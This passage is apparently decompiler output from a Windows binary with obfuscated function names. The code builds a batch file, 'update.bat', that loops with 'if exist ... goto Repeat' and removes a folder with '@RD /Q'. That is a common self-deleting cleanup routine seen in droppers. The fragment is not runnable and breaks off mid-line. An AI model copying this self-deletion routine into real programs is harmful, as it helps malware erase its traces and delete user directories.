        eax533 = QZD54QZ984FD9Q4QZQZD_40fc20(v488, eax487, v484, v482, "\"\n", eax478, 18, 1, "\\", "update.bat", v360, 0x80, v358, v357, 0x415918, 0x410668, ebx135, v489, v490, v491, v492, v493, v494, v495, v496, v497, v498, v499, v500, v501, v502, v503, v504, v505, v506, v507, v508, v509, v510, v488, eax487, v484, v482, "\"\n", eax478, 18, 1, "\\", "update.bat", v360, 0x80, v358, v357, 0x415918, 0x410668, ebx135, v511, v512, v513, v514, v515, v516, v517, v518, v519, v520, v521, v522, v523, v524, v525, v526, v527, v528, v529, v530, v531, v532);
        v534 = reinterpret_cast<void*>(reinterpret_cast<uint32_t>(esp304) + 0xffffff30);
        QZD54QZ984FD9Q4QZQZD_40fc4a(ecx483, v534, eax533, v488, eax487, v484, v482, "\"\n", eax478, 18, 1, "\\", "update.bat", v360, 0x80, v358, v357, 0x415918, 0x410668, ebx135, v535, v536, v537, ecx483, v534, eax533, v488, eax487, v484, v482, "\"\n", eax478, 18, 1, "\\", "update.bat", v360, 0x80, v358, v357, 0x415918, 0x410668, ebx135, v538, v539, v540);
        _1_basic_string_DU_char_traits_D_std_V_allocator_D_2_std_QAE_XZ(reinterpret_cast<uint32_t>(esp304) + 0xffffffec, v482, "\"\n");
        _1_basic_string_DU_char_traits_D_std_V_allocator_D_2_std_QAE_XZ(reinterpret_cast<uint32_t>(esp304) + 0xffffffcc, v482, "\"\n");
        ecx541 = reinterpret_cast<void*>(reinterpret_cast<uint32_t>(esp304) + 0xffffffdc);
        _1_basic_string_DU_char_traits_D_std_V_allocator_D_2_std_QAE_XZ(ecx541, v482, "\"\n");
        if (v361) {
            v542 = reinterpret_cast<void**>(reinterpret_cast<uint32_t>(esp304) + 0xfffffffe);
            v543 = reinterpret_cast<void**>(reinterpret_cast<uint32_t>(esp304) + 0xfffffe2c);
            ecx544 = reinterpret_cast<void**>(reinterpret_cast<uint32_t>(esp304) + 0xffffffcc);
            eax545 = reinterpret_cast<void**>(_0_basic_string_DU_char_traits_D_std_V_allocator_D_2_std_QAE_PBDABV_allocator_D_1_Z(ecx544, v543, v542, "\" goto Repeat\n", v482, "\"\n"));
            v546 = reinterpret_cast<void*>(reinterpret_cast<uint32_t>(esp304) + 0xffffffec);
            eax547 = QZD54QZ984FD9Q4QZQZD_40fc1a(ecx544, v546, "if exist \"", eax545, v543, v542, "\" goto Repeat\n", v482, "\"\n", eax478, 18, 1, "\\", "update.bat", v360, 0x80, v358, ecx544, v546, "if exist \"", eax545, v543, v542, "\" goto Repeat\n", v482, "\"\n", eax478, 18, 1, "\\", "update.bat", v360, 0x80, v358);
            v548 = reinterpret_cast<void**>(reinterpret_cast<uint32_t>(esp304) + 0xffffffdc);
            eax589 = QZD54QZ984FD9Q4QZQZD_40fc20(v548, eax547, v543, v542, "\" goto Repeat\n", v482, "\"\n", eax478, 18, 1, "\\", "update.bat", v360, 0x80, v358, v357, 0x415918, 0x410668, ebx135, v549, v550, v551, v552, v553, v554, v555, v556, v557, v558, v559, v560, v561, v562, v563, v564, v565, v566, v567, v568, v548, eax547, v543, v542, "\" goto Repeat\n", v482, "\"\n", eax478, 18, 1, "\\", "update.bat", v360, 0x80, v358, v357, 0x415918, 0x410668, ebx135, v569, v570, v571, v572, v573, v574, v575, v576, v577, v578, v579, v580, v581, v582, v583, v584, v585, v586, v587, v588);
            v590 = reinterpret_cast<void*>(reinterpret_cast<uint32_t>(esp304) + 0xffffff30);
            QZD54QZ984FD9Q4QZQZD_40fc4a(ecx544, v590, eax589, v548, eax547, v543, v542, "\" goto Repeat\n", v482, "\"\n", eax478, 18, 1, "\\", "update.bat", v360, 0x80, v358, v357, 0x415918, 0x410668, ebx135, v591, ecx544, v590, eax589, v548, eax547, v543, v542, "\" goto Repeat\n", v482, "\"\n", eax478, 18, 1, "\\", "update.bat", v360, 0x80, v358, v357, 0x415918, 0x410668, ebx135, v592);
            _1_basic_string_DU_char_traits_D_std_V_allocator_D_2_std_QAE_XZ(reinterpret_cast<uint32_t>(esp304) + 0xffffffdc, v542, "\" goto Repeat\n", v482, "\"\n");
            _1_basic_string_DU_char_traits_D_std_V_allocator_D_2_std_QAE_XZ(reinterpret_cast<uint32_t>(esp304) + 0xffffffec, v542, "\" goto Repeat\n", v482, "\"\n");
            ecx541 = reinterpret_cast<void*>(reinterpret_cast<uint32_t>(esp304) + 0xffffffcc);
            _1_basic_string_DU_char_traits_D_std_V_allocator_D_2_std_QAE_XZ(ecx541, v542, "\" goto Repeat\n", v482, "\"\n");
        }
        al593 = reinterpret_cast<signed char>(_9std_YA_NABV_basic_string_DU_char_traits_D_std_V_allocator_D_2_0_PBD_Z(ecx541));
        ecx594 = reinterpret_cast<void**>(0x410668);
        if (al593) {
            v595 = reinterpret_cast<void*>(reinterpret_cast<uint32_t>(esp304) + 0xffffffec);
            eax596 = QZD54QZ984FD9Q4QZQZD_40fc1a(0x410668, v595, "@RD /Q \"", 0x415918, "\"\n", v482, "\"\n", eax478, 18, 1, "\\", "update.bat", v360, 0x80, v358, v357, 0x415918, 0x410668, v595, "@RD /Q \"", 0x415918, "\"\n", v482, "\"\n", eax478, 18, 1, "\\", "update.bat", v360, 0x80, v358, v357, 0x415918);
            v597 = reinterpret_cast<void**>(reinterpret_cast<uint32_t>(esp304) + 0xffffffdc);
            eax642 = QZD54QZ984FD9Q4QZQZD_40fc20(v597, eax596, "\"\n", v482, "\"\n", eax478, 18, 1, "\\", "up
Comments: